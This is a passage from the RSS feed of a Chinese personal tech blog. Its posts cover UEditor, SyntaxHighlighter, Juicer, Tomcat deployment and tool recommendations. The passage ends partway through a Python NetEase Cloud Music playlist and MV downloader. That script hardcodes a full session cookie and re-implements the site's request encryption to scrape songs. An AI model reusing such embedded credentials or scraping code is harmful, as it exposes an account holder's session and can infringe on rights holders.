      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190504/1556972824317046630.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;UEditor的使用及Word的导入&lt;/h1&gt;

&lt;h2&gt;介绍:&lt;/h2&gt;
&lt;p&gt;UEditor是由百度web前端研发部开发所见即所得富文本web编辑器，具有轻量，可定制，注重用户体验等特点，开源基于MIT协议，允许自由使用和修改代码…&lt;/p&gt;
&lt;h2&gt;网站：&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://ueditor.baidu.com/website/index.html"&gt;https://ueditor.baidu.com/website/index.html&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;版本：&lt;/h2&gt;
&lt;p&gt;分为UEditor和UMeditor两个版本，UEditor是功能齐全的版本，UMeditor是简化版。此处提供一个封装UEditor后多了Word导入的版本（不是我写的，我在CSDN上找到的，只要1积分）：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://download.csdn.net/download/thfengyuan/10567799"&gt;https://download.csdn.net/download/thfengyuan/10567799&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;安装：&lt;/h2&gt;
&lt;p&gt;1、 将ueditor放入你的项目中&lt;/p&gt;
&lt;p&gt;2、 使用时引用&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-html"&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot; charset=&amp;quot;utf-8&amp;quot; src=&amp;quot;ueditor.config.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot; charset=&amp;quot;utf-8&amp;quot; src=&amp;quot;ueditor.all.js&amp;quot;&amp;gt; &amp;lt;/script&amp;gt;
&amp;lt;!--建议手动加在语言，避免在ie下有时因为加载语言失败导致编辑器加载失败--&amp;gt;
&amp;lt;!--这里加载的语言文件会覆盖你在配置项目里添加的语言类型，比如你在配置项目里配置的是英文，这里加载的中文，那最后就是中文--&amp;gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot; charset=&amp;quot;utf-8&amp;quot; src=&amp;quot;lang/zh-cn/zh-cn.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3、 然后对&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-html"&gt;&amp;lt;script id=&amp;quot;editor&amp;quot; type=&amp;quot;text/plain&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进行实例化：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;var ue = UE.getEditor('editor');
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4、 修改jsp路径下的config.json文件，修改imageUrlPrefix为/加你的项目名&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555142356669027709.png" alt="配置" /&gt;&lt;/p&gt;
&lt;p&gt;4、 导入响应jar包或配置Maven，这个好像高版本需要jaxp的四个jar包，这是下载地址：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://download.csdn.net/download/xuqiaojun210/2317769"&gt;https://download.csdn.net/download/xuqiaojun210/2317769&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我以前下过，然后删了，然后csdn上面再下载居然还需要重新用积分下载。。。小伙伴们用积分下载了的东西不要删啊。。。&lt;/p&gt;
&lt;p&gt;运行截图：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555142652698072373.png" alt="截图" /&gt;&lt;/p&gt;</description>
      <category>前端技术</category>
      <pubDate>Sat, 13 Apr 2019 08:02:01 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/12.html</comments>
    </item>
    <item>
      <title>帮助到我的文章及博客</title>
      <link>https://www.baby7blog.com/myBlog/11.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FqGSq4663w9hOHUB8Cwo9YUzjV2_" width="800"&gt;&lt;br&gt;
&lt;h1&gt;帮助到我的文章及博客&lt;/h1&gt;

&lt;h2&gt;树莓派：&lt;/h2&gt;

&lt;p&gt;&lt;a href="http://www.nrjs.cn/ctt/11120021.html"&gt;把树莓派系统安装到U盘或移动硬盘上&lt;/a&gt;
&lt;a href="https://blog.csdn.net/wjycgl/article/details/55509480"&gt;树莓派安装OpenCV3完整过程&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;Python：&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://blog.csdn.net/klordy_123/article/details/82949757"&gt;lxml安装后无法import到etree模块&lt;/a&gt;
&lt;a href="https://www.jianshu.com/p/53f5fd4aa671"&gt;如何下载网络视频.ts文件并且合并&lt;/a&gt;
&lt;a href="http://www.cnblogs.com/chenlove/p/9518612.html"&gt;python多线程下载ts文件&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;C#：&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://blog.csdn.net/c_fangfujiang/article/details/55504427"&gt;c# winform 窗口 拆分多个源代码文件&lt;/a&gt;
&lt;a href="https://blog.csdn.net/dream2050csdn/article/details/53510340"&gt;使用WinForm Chart控件 制作饼装，柱状，折线图&lt;/a&gt;
&lt;a href="https://blog.csdn.net/chenqiangdage/article/details/20408731"&gt;c# excel转PDF&lt;/a&gt;
&lt;a href="https://blog.csdn.net/hws1058648831a/article/details/9136317"&gt;c# listview导出excel文件&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;Java：&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.cnblogs.com/hackyo/p/6646051.html"&gt;使用idea2017搭建SSM框架&lt;/a&gt;
&lt;a href="https://blog.csdn.net/kenhins/article/details/17588019"&gt;Java实现注册邮箱激活验&lt;/a&gt;
&lt;a href="http://www.cnblogs.com/Payne-Wang/archive/2013/04/01/loadOnTomcatStartup.html"&gt;如何让一段代码在 tomcat 启动时就被运行？&lt;/a&gt;
&lt;a href="https://blog.csdn.net/liumengwei1/article/details/84304912"&gt;Intellij IDEA 中添加自定义代码提示&lt;/a&gt;
&lt;a href="https://www.cnblogs.com/relucent/p/4203190.html"&gt;使用Jedis操作redis&lt;/a&gt;
&lt;a href="https://blog.csdn.net/wjycgl/article/details/55509480"&gt;springmvc文件上传下载简单实现案例(ssm框架使用)&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;JavaScript：&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://rubel.iteye.com/blog/904426"&gt;针对文字加密的简单 JS 加密算法 --进制乱序法改良版&lt;/a&gt;&lt;/p&gt;</description>
      <category>分享</category>
      <pubDate>Sat, 13 Apr 2019 07:38:42 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/11.html</comments>
    </item>
    <item>
      <title>推荐的工具及网站</title>
      <link>https://www.baby7blog.com/myBlog/10.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FkUCkNodSBEUIVu0m-KsHT6-hGWU" width="800"&gt;&lt;br&gt;
&lt;h1&gt;推荐的工具及网站&lt;/h1&gt;

&lt;h3&gt;&lt;em&gt;&lt;strong&gt;此文章会不定时更新，主要是推荐一些可能大家没用过的好用的工具或网站。&lt;/strong&gt;&lt;/em&gt;&lt;/h3&gt;
&lt;h2&gt;网站：&lt;/h2&gt;
&lt;p&gt;&lt;font size=5 color=#FF0000&gt;ProcessOn&lt;/font&gt;：ProcessOn是一个在线作图工具的聚合平台，它可以在线画流程图、思维导图、UI原型图、UML、网络拓扑图、组织结构图等等，您无需担心下载和更新的问题，不管Mac还是Windows，一个浏览器就可以随时随地的发挥创意，规划工作&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.processon.com"&gt;https://www.processon.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我博客的一些图就是用这个做的：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190504/1556973653639086488.png" alt="博客架构图" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;font size=5 color=#FF0000&gt;ShowDoc&lt;/font&gt;：一个非常适合IT团队的在线API文档、技术文档工具。可以用LandMark编辑技术文档、API文档等，很方便。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.showdoc.cc"&gt;https://www.showdoc.cc&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;font size=5 color=#FF0000&gt;小森林搜索&lt;/font&gt;：整合了影视、学术、图片、数据、电子书、BT、网盘等多种搜索引擎(似乎挂了)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://hao.xsldh.com/search"&gt;http://hao.xsldh.com/search&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;工具：&lt;/h2&gt;
&lt;p&gt;&lt;font size=5 color=#FF0000&gt;Stylus&lt;/font&gt;：谷歌浏览器（Chrome）的一款插件，可以更改网页网页样式，也可以使用别人上传的样式，对常用网站有支持，例如百度、B站等。比如这样：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190505/1557010103067017180.png" alt="Stylus B站" /&gt;&lt;/p&gt;
&lt;p&gt;这样：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190505/1557010206724059592.png" alt="Stylus 百度" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;font size=5 color=#FF0000&gt;天若OCR文字识别&lt;/font&gt;：可以快捷键截屏识别文字，经常用到。&lt;/p&gt;
&lt;p&gt;&lt;font size=5 color=#FF0000&gt;TrafficMonitor&lt;/font&gt;：可以显示CPU、内存、流量信息的小工具，可以放在桌面或者任务栏，我喜欢把这个放在任务栏，看着挺舒服。下面是截图：（我任务栏在左边）&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190505/1557010511476001498.png" alt="TrafficMonitor" /&gt;&lt;/p&gt;</description>
      <category>分享</category>
      <pubDate>Sat, 13 Apr 2019 07:20:17 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/10.html</comments>
    </item>
    <item>
      <title>Juicer模板引擎</title>
      <link>https://www.baby7blog.com/myBlog/9.html</link>
      <description>&lt;img src="https://static.npmjs.com/58a19602036db1daee0d7863c94673a4.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Juicer模板引擎&lt;/h1&gt;

&lt;h2&gt;介绍：&lt;/h2&gt;
&lt;p&gt;Juicer 是一个高效、轻量的前端 (Javascript) 模板引擎，使用 Juicer 可以是你的代码实现数据和视图模型的分离(MVC)。前端可以根据后台传回的json格式数据对网页进行渲染，速度也挺快。&lt;/p&gt;
&lt;h2&gt;官网中文文档（很简洁易懂，非常好）：&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.npmjs.com/package/juicer"&gt;https://www.npmjs.com/package/juicer&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;由于是个Javascript模板引擎，所以很多东西得异步渲染，需要注意，例如SyntaxHighlighter这个我踩了个坑，第一次没出来就是因为没有异步加载。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;我是分割线&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;崩了崩了！！！我不知道原来百度抓取一般不支持js生成的内容，我测试百度抓取结果抓取的是Juicer的代码，里面没有内容。这前后端分离做的舒舒服服的突然告诉我百度不能抓，难受了，没有解决办法的话只能改后端模板引擎了，转静态页面。&lt;/p&gt;</description>
      <category>前端技术</category>
      <pubDate>Sat, 13 Apr 2019 04:49:53 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/9.html</comments>
    </item>
    <item>
      <title>代码高亮插件：SyntaxHighlighter的简单使用</title>
      <link>https://www.baby7blog.com/myBlog/8.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555130191429019056.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;代码高亮插件：SyntaxHighlighter的简单使用&lt;/h1&gt;

&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190413/1555130472790073738.png" alt="SyntaxHighlighter" /&gt;&lt;/p&gt;
&lt;h2&gt;一、 引入CSS文件&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190413/1555130191429085934.png" alt="css文件列表" /&gt;&lt;/p&gt;
&lt;p&gt;其中shCore.css是必须引用的，shCoreDefault.css和shThemeRDark.css是单选，是插件的效果比如暗风格和亮风格，当然还有其他的，可以去下。&lt;/p&gt;
&lt;h2&gt;二、 引入JS文件&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190413/1555130191429019056.png" alt="js文件列表" /&gt;&lt;/p&gt;
&lt;p&gt;其中shAutoloader.js是必须引用的，其他的是多选，主要看你加载的页面有哪些代码。&lt;/p&gt;
&lt;h2&gt;三、 有代码区的网页&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-html"&gt;&amp;lt;pre class=&amp;quot;brush:js;&amp;quot;&amp;gt;
    alert(&amp;quot;hello world&amp;quot;);
&amp;lt;/pre&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;四、 SyntaxHighlighter的启动&lt;/h2&gt;
&lt;h3&gt;（一）、一般使用&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;SyntaxHighlighter.all();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;（二）、动态加载时&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;SyntaxHighlighter.highlight();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;五、 SyntaxHighlighter官网地址：&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://alexgorbatchev.com/SyntaxHighlighter"&gt;http://alexgorbatchev.com/SyntaxHighlighter&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;对了，双击代码区可以全选代码，之后可以复制&lt;/p&gt;</description>
      <category>前端技术</category>
      <pubDate>Sat, 13 Apr 2019 04:39:05 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/8.html</comments>
    </item>
    <item>
      <title>部署个人网站步骤</title>
      <link>https://www.baby7blog.com/myBlog/7.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fgh-tWBmqrtB2BqO4J9nQzuk-rkH" width="800"&gt;&lt;br&gt;
&lt;h1&gt;部署个人网站步骤&lt;/h1&gt;

&lt;h2&gt;一、 让别人可以访问到你的网站&lt;/h2&gt;
&lt;h4&gt;（一）、首先你得租个服务器&lt;/h4&gt;
&lt;h4&gt;（二）、购买域名的同时顺便可以买个解析，不贵&lt;/h4&gt;
&lt;h4&gt;（三）、配置解析到你的ESC外网IP（在安全组打开80端口）&lt;/h4&gt;
&lt;p&gt;&lt;font color=red&gt;【记录类型为A，主机记录填www，记录值填服务器外网IP，其余默认就行】&lt;/font&gt;&lt;/p&gt;
&lt;h4&gt;（四）、网站ICP备案，填写你的信息和网站信息&lt;/h4&gt;
&lt;p&gt;&lt;font color=red&gt;【域名实名认证完成后，实名认证信息需要3-5个工作日入库（进入管局的数据库）。建议完成域名实名认证后，不要马上提交资料至管局审核，建议3-5个工作日后再提交订单。】&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font color=red&gt;【个人网站命名要求：https://help.aliyun.com/knowledge_detail/36957.html】&lt;/font&gt;（可能需要用到手机端的APP，拍照、证件照、从网站下载《个人网站备案承诺书》打印并填写信息拍照上传），大约一天内会有你购买域名的公司客服给你打电话，有错误就修改再次提交，没有错误人家就提交到所在地通信管理局，之后需要等挺久（二十天以内？），在这之前先把项目安装了。&lt;/p&gt;
&lt;h4&gt;（五）、版权问题，不要使用未授权的字体、图片、肖像等。&lt;font color=red&gt;【微软雅黑需要商业授权】&lt;/font&gt;&lt;a href="http://fonts.safe.360.cn/"&gt;http://fonts.safe.360.cn/&lt;/a&gt;可以查询字体版权（不太全）&lt;/h4&gt;
&lt;h4&gt;（六）、在ICP备案完成后需要进行公安备案。&lt;/h4&gt;
&lt;h2&gt;二、 安装项目&lt;/h2&gt;
&lt;h4&gt;（一）、安装持久化数据库（MySQL、Oracle等），缓存数据库（Redis等）&lt;font color=red&gt;【确认项目的数据库密码和新数据库密码是否一致】&lt;/font&gt;&lt;/h4&gt;
&lt;h4&gt;（二）、部署数据（例如运行SQL文件）&lt;/h4&gt;
&lt;h4&gt;（三）、安装JDK（确认版本，配置环境变量）&lt;/h4&gt;
&lt;h4&gt;（四）、安装服务器（Tomcat、Nginx等）&lt;/h4&gt;
&lt;h4&gt;（五）、将项目打成war包放在Tomcat的webapp文件夹下&lt;/h4&gt;
&lt;h4&gt;（六）、修改路径（Tomcat下conf文件夹的server.xml）&lt;font color=red&gt;【可以从访问时URL需要填写域名或IP/项目缩减到只用域名或IP】&lt;/font&gt;&lt;/h4&gt;
&lt;p&gt;1、修改tomcat http端口为80（因为默认是80端口，访问时可以不写）&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-xml"&gt;&amp;lt;Connector port=&amp;quot;80&amp;quot; protocol=&amp;quot;HTTP/1.1&amp;quot; connectionTimeout=&amp;quot;20000&amp;quot; redirectPort=&amp;quot;8443&amp;quot;  URIEncoding=&amp;quot;UTF-8&amp;quot;/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2、去除访问时的项目名&lt;/p&gt;
&lt;p&gt;在 &lt;Host&gt;  &lt;/Host&gt;节点下增加一行&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-xml"&gt;&amp;lt;Context path=&amp;quot;&amp;quot; docBase=&amp;quot;../webapps/**&amp;quot; debug=&amp;quot;0&amp;quot; reloadable=&amp;quot;true&amp;quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;docBase：代表项目的绝对路径。也可以使用相对路径，&lt;font color=red&gt;**处填你的项目名&lt;/font&gt;。&lt;/p&gt;
&lt;p&gt;path：代表访问时的项目名称,path留空代表访问域名后面不需要带项目的名称&lt;/p&gt;
&lt;p&gt;debug是设定debug level, 0表示提供最少的信息，9表示提供最多的信息&lt;/p&gt;
&lt;h4&gt;（七）、双击Tomcat bin文件夹下的startup.bat运行服务器&lt;/h4&gt;
&lt;h2&gt;三、在备案未完成之前可以输入ESC服务器外网IP进行访问&lt;/h2&gt;
&lt;p&gt;自己整理的部署网站时的一些步骤，可能不太全，如果发现有错误或缺少步骤请与我联系，不要让别人被我带沟里。。。&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Fri, 12 Apr 2019 08:36:32 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/7.html</comments>
    </item>
    <item>
      <title>Python 网易云音乐 歌单及MV下载器</title>
      <link>https://www.baby7blog.com/myBlog/6.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190412/1555066008664005192.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Python 网易云音乐 歌单及MV下载器&lt;/h1&gt;

&lt;p&gt;注：此程序仅用于学习和研究&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190412/1555066008664005192.png" alt="图标" /&gt;&lt;/p&gt;
&lt;h2&gt;一、运行截图&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554969813990049931.png" alt="主界面" /&gt;&lt;/p&gt;
&lt;h2&gt;二、介绍&lt;/h2&gt;
&lt;p&gt;输入网易云音乐的歌单URL即可下载歌曲及所关联的MV。（下载路径最后要有/）&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;from tkinter import *
import requests
from bs4 import BeautifulSoup
import random, math
from Crypto.Cipher import AES
import base64
import codecs
import os
import urllib
from lxml import html
etree = html.etree


class Spider(object):
    def __init__(self):
        self.headers = {
                 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0',
                 'Cookie':'_iuqxldmzr_=32; _ntes_nnid=8d4ef0883a3bcc9d3a2889b0bf36766a,1533782432391; _ntes_nuid=8d4ef0883a3bcc9d3a2889b0bf36766a; __utmc=94650624; WM_TID=GzmBlbRkRGQXeQiYuDVCfoEatU6VSsKC; playerid=19729878; __utma=94650624.1180067615.1533782433.1533816989.1533822858.9; __utmz=94650624.1533822858.9.7.utmcsr=cn.bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/; WM_NI=S5gViyNVs14K%2BZoVerGK69gLlmtnH5NqzyHcCUY%2BiWm2ZaHATeI1gfsEnK%2BQ1jyP%2FROzbzDV0AyJHR4YQfBetXSRipyrYCFn%2BNdA%2FA8Mv80riS3cuMVJi%2BAFgCpXTiHBNHE%3D; WM_NIKE=9ca17ae2e6ffcda170e2e6ee84b674afedfbd3cd7d98b8e1d0f554f888a4abc76990b184badc4f89e7af8ece2af0fea7c3b92a91eba9b7ec738e8abdd2b741e986a1b7e87a8595fadae648b0b3bc8fcb3f8eafb69acb69818b97ccec5dafee9682cb4b98bb87d2e66eb19ba2acaa5bf3b6b7b1ae5a8da6ae9bc75ef49fb7abcb5af8879f87c16fb8889db3ec7cbbae97a4c566e992aca2ae4bfc93bad9b37aab8dfd84f8479696a7ccc44ea59dc0b9d7638c9e82a9c837e2a3; JSESSIONID-WYYY=sHwCKYJYxz6ODfURChA471BMF%5CSVf3%5CTc8Qcy9h9Whj6CfMxw4YWTMV7CIx5g6rqW8OBv04YGHwwq%2B%5CD1N61qknTP%2Fym%2BHJZ1ylSH1EabbQASc9ywIT8YvOr%2FpMgvmm1cbr2%2Bd6ssMYXuTlpOIrKqp%5C%2FM611EhmfAfU47%5CSQWAs%2BYzgY%3A1533828139236'
        }

    def __get_songs(self, name):
        d = '{&amp;quot;hlpretag&amp;quot;:&amp;quot;&amp;lt;span class=\\&amp;quot;s-fc7\\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;hlposttag&amp;quot;:&amp;quot;&amp;lt;/span&amp;gt;&amp;quot;,&amp;quot;s&amp;quot;:&amp;quot;%s&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;1&amp;quot;,&amp;quot;offset&amp;quot;:&amp;quot;0&amp;quot;,&amp;quot;total&amp;quot;:&amp;quot;true&amp;quot;,&amp;quot;limit&amp;quot;:&amp;quot;30&amp;quot;,&amp;quot;csrf_token&amp;quot;:&amp;quot;&amp;quot;}' % name
        wyy = WangYiYun(d)    # 要搜索的歌曲名在这里
        data = wyy.get_data()
        url = 'https://music.163.com/weapi/cloudsearch/get/web?csrf_token='
        response = requests.post(url, data=data, headers=self.headers).json()
        return response['result']

    def __get_mp3(self, id):
        d = '{&amp;quot;ids&amp;quot;:&amp;quot;[%s]&amp;quot;,&amp;quot;br&amp;quot;:320000,&amp;quot;csrf_token&amp;quot;:&amp;quot;&amp;quot;}' % id
        wyy = WangYiYun(d)
        data = wyy.get_data()
        url = 'https://music.163.com/weapi/song/enhance/player/url?csrf_token='
        response = requests.post(url, data=data, headers=self.headers).json()
        return response['data'][0]['url']

    def __download_mp3(self, url, filename):
        if os.path.exists(_path.get() + filename + '.mp3'):
            return
        if url is None:
            print(filename + &amp;quot; haven't download&amp;quot;)
            return
        &amp;quot;&amp;quot;&amp;quot;下载mp3&amp;quot;&amp;quot;&amp;quot;
        abspath = os.path.abspath('.')  # 获取绝对路径
        os.chdir(abspath)
        response = requests.get(url, headers=self.headers).content
        path = _path.get() + filename
        with open(_path.get() + filename + '.mp3', 'wb') as f:
            f.write(response)
            print('下载完毕,可以在%s   路径下查看' % path + '.mp3')

    def __print_info(self, songs):
        &amp;quot;&amp;quot;&amp;quot;打印歌曲需要下载的歌曲信息&amp;quot;&amp;quot;&amp;quot;
        songs_list = []
        for num, song in enumerate(songs):
            print(num, '歌曲名字：', song['name'], '作者：', song['ar'][0]['name'])
            songs_list.append((song['name'], song['id']))
        return songs_list

    def run(self):
        while True:
            name = input('请输入你需要下载的歌曲：')
            songs = self.__get_songs(name)
            if songs['songCount'] == 0:
                print('没有搜到此歌曲，请换个关键字')
            else:
                songs = self.__print_info(songs['songs'])
                num = input('请输入需要下载的歌曲，输入左边对应数字即可')
                url = self.__get_mp3(songs[int(num)][1])
                if not url:
                    print('歌曲需要收费，下载失败')
                else:
                    filename = songs[int(num)][0]
                    self.__download_mp3(url, filename)
                flag = input('如需继续可以按任意键进行搜歌，否则按0结束程序')
                if flag == '0':
                    break
        print(songs)
        print(url)
        print(songs[int(num)][1])
        print('程序结束！')

    def download_a_music(self, id, filename):
        url = self.__get_mp3(id)
        self.__download_mp3(url, filename)


class WangYiYun(object):
    def __init__(self, d):
        self.d = d
        self.e = '010001'
        self.f = &amp;quot;00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5a&amp;quot; \
                 &amp;quot;a76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46be&amp;quot; \
                 &amp;quot;e255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7&amp;quot;
        self.g = &amp;quot;0CoJUm6Qyw8W8jud&amp;quot;
        self.random_text = self.get_random_str()

    # js中的a函数
    def get_random_str(self):
        str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
        res = ''
        for x in range(16):
            index = math.floor(random.random() * len(str))
            res += str[index]
        return res

    def aes_encrypt(self, text, key):
        iv = '0102030405060708'  # 偏移量
        pad = 16 - len(text.encode()) % 16  # 使加密信息的长度为16的倍数，要不会报下面的错
        # 长度是16的倍数还会报错，不能包含中文，要对他进行unicode编码
        text = text + pad * chr(pad)  # Input strings must be a multiple of 16 in length
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        msg = base64.b64encode(encryptor.encrypt(text))  # 最后还需要使用base64进行加密
        return msg

    # ras加密
    def rsa_encrypt(self, value, text, modulus):
        text = text[::-1]
        rs = int(codecs.encode(text.encode('utf-8'), 'hex_codec'), 16) ** int(value, 16) % int(modulus, 16)
        return format(rs, 'x').zfill(256)

    def get_data(self):
        # 这个参数加密两次
        params = self.aes_encrypt(self.d, self.g)
        params = self.aes_encrypt(params.decode('utf-8'), self.random_text)
        enc_sec_key = self.rsa_encrypt(self.e, self.random_text, self.f)
        return {
            'params': params,
            'encSecKey': enc_sec_key
        }


class CloudMusicMV(object):
    headers = {
        'Host': 'music.163.com',
        'Referer': 'https://music.163.com/',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'
    }

    def get_mv(self, url, file_name):
        if os.path.exists(_path.get() + file_name + '.mp4'): return
        headers = {
            'User - Agent': 'Mozilla / 5.0(Windows NT 6.1;WOW64) AppleWebKit / 537.36(KHTML, like Gecko) Chrome / 55.0.2883.87 Safari / 537.36'
        }
        req = requests.get(url, headers=headers)
        if not os.path.exists(_path.get()):
            os.makedirs(_path.get())
        os.chdir(_path.get())
        with open(file_name+'.mp4', 'wb') as file:
            file.write(req.content)
            file.close()
        print(file_name+' download ok')

    def get_msg(self, id):
        req = requests.get('http://music.163.com/mv?id=' + id, headers=self.headers)
        html = etree.HTML(req.text)
        file_name = html.xpath('//a[@id=&amp;quot;j-sharedata&amp;quot;]/@data-name')[0]
        url = html.xpath('//meta[@property=&amp;quot;og:video&amp;quot;]/@content')[0]
        url = urllib.parse.unquote(url)  # url解码
        print(url)
        return url, file_name

    def get_mv_id(self, song_id):
        req = requests.get('https://music.163.com/song?id=' + song_id, headers=self.headers)
        mv_ids = etree.HTML(req.text).xpath('//a[@title=&amp;quot;播放mv&amp;quot;]/@href')
        return mv_ids


def download():
    url = entry.get()
    new_url = url.replace('/#', '')

    header = {
        'Host': 'music.163.com',
        'Referer': 'https://music.163.com/',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'
    }

    res = requests.get(new_url, headers=header).text

    r = BeautifulSoup(res, &amp;quot;html.parser&amp;quot;)
    music_dict = {}
    result = r.find('ul', {'class', 'f-hide'}).find_all('a')
    spider = Spider()
    cloudMusicMV = CloudMusicMV()
    for music in result:
        music_id = music.get('href').strip('/song?id=')
        music_name = music.text
        music_dict[music_id] = music_name
    for song_id in music_dict:
        msg[&amp;quot;text&amp;quot;] = &amp;quot;正在下载音乐：%s&amp;quot; % music_dict[song_id]
        msg.update()
        # 添加数据
        spider.download_a_music(song_id, music_dict[song_id])
        text.insert(END, &amp;quot;音乐下载完成：%s&amp;quot; % music_dict[song_id])
        text.see(END)
        text.update()
        mv_ids = cloudMusicMV.get_mv_id(song_id)
        if len(mv_ids) is not 0:
            msg[&amp;quot;text&amp;quot;] = &amp;quot;正在下载MV：%s&amp;quot; % music_dict[song_id]
            msg.update()
            url, file_name = cloudMusicMV.get_msg(mv_ids[0][7:])
            cloudMusicMV.get_mv(url, file_name)
            text.insert(END, &amp;quot;MV下载完成：%s&amp;quot; % music_dict[song_id])
            text.see(END)
            text.update()


root = Tk()
root.title(&amp;quot;网易云音乐及MV整合下载器——七仔&amp;quot;)
root.geometry(&amp;quot;410x650+550+100&amp;quot;)
label = Label(root, text=&amp;quot;歌单URL&amp;quot;, font=('宋体', 12))
label.grid()
entry = Entry(root, font=('微软雅黑', 12))
entry.grid(row=0, column=1, sticky=E+W)
